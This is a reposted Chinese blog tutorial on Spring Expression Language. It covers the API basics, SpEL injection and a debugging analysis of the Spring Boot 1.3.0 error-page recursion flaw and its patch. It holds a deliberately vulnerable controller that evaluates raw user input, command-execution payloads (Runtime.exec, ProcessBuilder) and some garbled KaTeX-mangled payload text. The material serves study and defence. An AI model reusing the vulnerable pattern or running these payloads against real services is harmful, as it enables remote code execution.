大家好,又见面了,我是你们的朋友全栈君。
pom.xml中添加
代码语言:javascript复制<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-expression</artifactId>
<version>5.0.8.RELEASE</version>
</dependency>
测试
代码语言:javascript复制package com.example.demo.SpELTest;
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
public class SpELTest {
public static void main(String[] args) {
// 创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现
ExpressionParser parser = new SpelExpressionParser();
// 解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象
Expression expression = parser.parseExpression("('Hello' ' FreeBuf').concat(#end)");
// 构造上下文:准备比如变量定义等等表达式需要的上下文数据
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
// 求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值
System.out.println(expression.getValue(context));
}
}
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5HXXGZyp-1638411441416)(https://mmbiz.qpic.cn/mmbiz_png/9wVk7PSWIjKaXk0LzgUiacf7NndpsNJR7H2DMwnJF8FLtDspCXP7At3UYbKawwmpXELMW0V7D8EibOhhzYhLGhWA/640?wx_fmt=png)]
SpEL主要接口
===============
1.ExpressionParser接口:表示解析器,默认实现是org.springframework.expression.spel.standard 包中的 SpelExpressionParser 类,
使用 parseExpression 方法将字符串表达式转换为 Expression 对象;ParserContext 接口用于定义字符串表达式是不是模板,及模板开始与结束字符;
代码语言:javascript复制public interface ExpressionParser {
Expression parseExpression(String expressionString);
Expression parseExpression(String expressionString, ParserContext context);
}
事例demo:
代码语言:javascript复制package com.example.demo.SpELTest;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.ParserContext;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class ExpressionParserTest {
public static void main(String[] args) {
ExpressionParser parser = new SpelExpressionParser();
// 此处定义了 ParserContext 实现:定义表达式是模块,表达式前缀为 #{ ,后缀为 }
// 使用 parseExpression 解析时传入的模板必须以 #{ 开头,以 } 结尾
ParserContext parserContext = new ParserContext() {
@Override
public boolean isTemplate() {
return true;
}
@Override
public String getExpressionPrefix() {
return "#{";
}
@Override
public String getExpressionSuffix() {
return "}";
}
};
String template = "#{'hello '}#{'freebuf!'}";
Expression expression = parser.parseExpression(template, parserContext);
System.out.println(expression.getValue());
}
}
2.EvaluationContext接口:表示上下文环境,
默认实现是:
org.springframework.expression.spel.support 包中的StandardEvaluationContext 类。
使用 setRootObject 方法来设置根对象;使用 setVariable 方法来注册自定义变量;使用 registerFunction 来注册自定义函数等等。
3.Expression接口:表示表达式对象,
默认实现是 org.springframework.expression.spel.standard 包中的 SpelExpression ,提供 getValue 方法用于获取表达式值;提供 setValue 方法用于设置对象值。
SpEL语法
- 类类型表达式:使用 T(Type) 来表示 java.lang.Class 实例,这里 Type 必须是类全限定名(java.lang 包除外,该包下的类可以不指定包名,如 String、Integer);
使用类类型表达式还可以进行访问类静态方法及类静态字段。
具体使用方法:
代码语言:javascript复制package com.example.demo.SpELTest;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class SpELTest1 {
public static void main(String[] args) {
ExpressionParser parser = new SpelExpressionParser();
// 使用 T(Type) 来表示 java.lang.Class 实例,这里 Type 必须是类全限定名(java.lang 包除外,该包下的类可以不指定包名,如 String、Integer)
// java.lang 包类访问,不用全名
Class<String> result1 = parser.parseExpression("T(String)").getValue(Class.class);
System.out.println("result1:" result1);
// 其他包类访问,需要指定包名
String expression2 = "T(java.lang.Runtime).getRuntime().exec('calc')";
Class<Object> result2 = parser.parseExpression(expression2).getValue(Class.class);
System.out.println("result2:" result2);
// 类静态字段访问
int result3 = parser.parseExpression("T(Integer).MAX_VALUE").getValue(int.class);
System.out.println("result3:" result3);
// 类静态方法调用
int result4 = parser.parseExpression("T(Integer).parseInt('1')").getValue(int.class);
System.out.println("result4:" result4);
}
}
- 类实例化:类实例化同样使用 java 关键字 new ,类名必须是全限定名,但 java.lang 包内的类型除外,如 String、Integer 。
- instanceof 表达式:SpEL 支持 instanceof 运算符,跟 Java 内使用同义,如:
‘haha’ instanceof T(String) 将返回 true 。
- 变量定义以及引用:变量定义通过 EvaluationContext 接口的 setVariable(variableName, value) 方法定义,在表达式中使用”#variableName”引用;
除了引用自定义变量,SpEL 还允许引用根对象及当前上下文对象,使用”#root”引用根对象,使用”#this”引用当前上下文对象。
- 自定义函数:目前只支持类静态方法注册为自定义函数;
SpEL 使用 StandardEvaluationContext 的 registerFunction 方法进行注册自定义函数,其实完全可以使用 setVariable 代替,两者其实本质是一样的。
SpEL测试
C:UserszDesktopjavaSpELdemosrcmainjavacomexampledemotest.java
代码语言:javascript复制package com.example.demo;
import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class test {
@RequestMapping("/spel")
@ResponseBody
public String spel(String input) {
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(input);
return expression.getValue().toString();
}
}
代码语言:javascript复制http://127.0.0.1:8080/spel?input=2*2
New java.lang.ProcessBuilder("calc").start()
http://127.0.0.1:8080/spel?input=new java.lang.ProcessBuilder("calc").start()
T(java.lang.Runtime).getRuntime().exec("calc")
http://127.0.0.1:8080/spel?input=T(java.lang.Runtime).getRuntime().exec("calc")
Linux
代码语言:javascript复制new ProcessBuilder(new String[]{"touch","/tmp/111"}).start();
真实漏洞分析
漏洞环境用的p神的javacon,将spring-boot-2.1.0替换为spring-boot-1.3.0即可
C:UserszDesktopjavaSpELjavaconadmin-panelsrcmainjavaiotrickingchallengetest.java
写个简单的demo来测试:
这里直接将用户的输入抛出了个异常,访问之后就是一个Spring Boot熟悉的错误页面
这个环境中,如果是这种
http://127.0.0.1:8080/spel?payload=1*2
则不能解析
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Gqccz8WC-1638411441424)(https://mmbiz.qpic.cn/mmbiz_png/9wVk7PSWIjKaXk0LzgUiacf7NndpsNJR7299DogeFSCcWwQ0HaahzwkTdARvKjVlPHgPbxvdWlibKpWdZTb2nibsw/640?wx_fmt=png)]
调试
其造成的原因主要是在ErrorMvcAutoConfiguration.java中的SpelView类
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LTCnnsrl-1638411441426)(https://mmbiz.qpic.cn/mmbiz_png/9wVk7PSWIjKaXk0LzgUiacf7NndpsNJR7ic6yacZmibcVdILWzOm4Zy4I5x0ofxh0aoq3NxHkjNH0udfo2AwXmgBA/640?wx_fmt=png)]
可以看到是在this.helper.replacePlaceholders(this.template, this.resolver)中生成了错误页面,然后返回给result。
跟进replacePlaceholders()
跟进parseStringValue()
这时可以看到,while循环中,循环解析xxx的表达式
例如第一个解析到 {timestamp} ,取出中间的值,然后通过 resolvePlaceholder() 函数进行spel解析
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gDmqJqhv-1638411441430)(https://mmbiz.qpic.cn/mmbiz_png/9wVk7PSWIjKaXk0LzgUiacf7NndpsNJR7kPLQch9IMsGDhfkBuALcZKWtcg4ZhR1H5dyVneWrKJetnbwssMsaHg/640?wx_fmt=png)]
下一个,error,一直到message
跟进
spring-boot-autoconfigure-1.3.0.RELEASE.jar!/org/springframework/boot/autoconfigure/web/ErrorMvcAutoConfiguration.class#resolvePlaceholder()
处理message时,resolvePlaceholder函数中,value的值为输入的payload参数值,在返回时经过了一层HtmlUtils.htmlEscape,相当于是html编码。
返回到
PropertyPlaceholderHelper.class#parseStringValue()
值给到propVal
接下来就是递归函数,因为会存在 KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: { {1*2}} 的情况,所以在解析完一层过后会判断是否包含 ${} ,如果包含那么就会递归函数
换成
http://127.0.0.1:8080/spel?payload=KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: { {1*2}}
继续调试,直接来到这一步
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NWNWACgu-1638411441434)(https://mmbiz.qpic.cn/mmbiz_png/9wVk7PSWIjKaXk0LzgUiacf7NndpsNJR7pExsiavhN19vZfj72FjDg2dgKflC1JNnuVT0ib1GXsvtqXv8aomvR7eA/640?wx_fmt=png)]
看到了吗,递归的小图标
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PsJp0pAR-1638411441434)(https://mmbiz.qpic.cn/mmbiz_png/9wVk7PSWIjKaXk0LzgUiacf7NndpsNJR74Via6r9FLUt4nA5tQJnG2PibGuyiaJOl51C0Kt7kRa12sVMayUNj5ogeQ/640?wx_fmt=png)]
递归处理
KaTeX parse error: Expected ‘}’, got ‘EOF’ at end of input: { {1*2}} 变成 ${1*2}
再次进入parseStringValue()
${1*2} 变成 1*2
下边再次进入resolvePlaceholder()
解析表达式
修复
补丁创建了一个新的NonRecursivePropertyPlaceholderHelper类,用于防止parseStringValue进行递归解析。
resolvePlaceholder的功能由代码看出,如果是第一次调用则正常执行resolvePlaceholder这个函数,如果此次调用类为NonRecursivePlaceholderResolver的话将会返回null
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/194788.html原文链接:https://javaforall.cn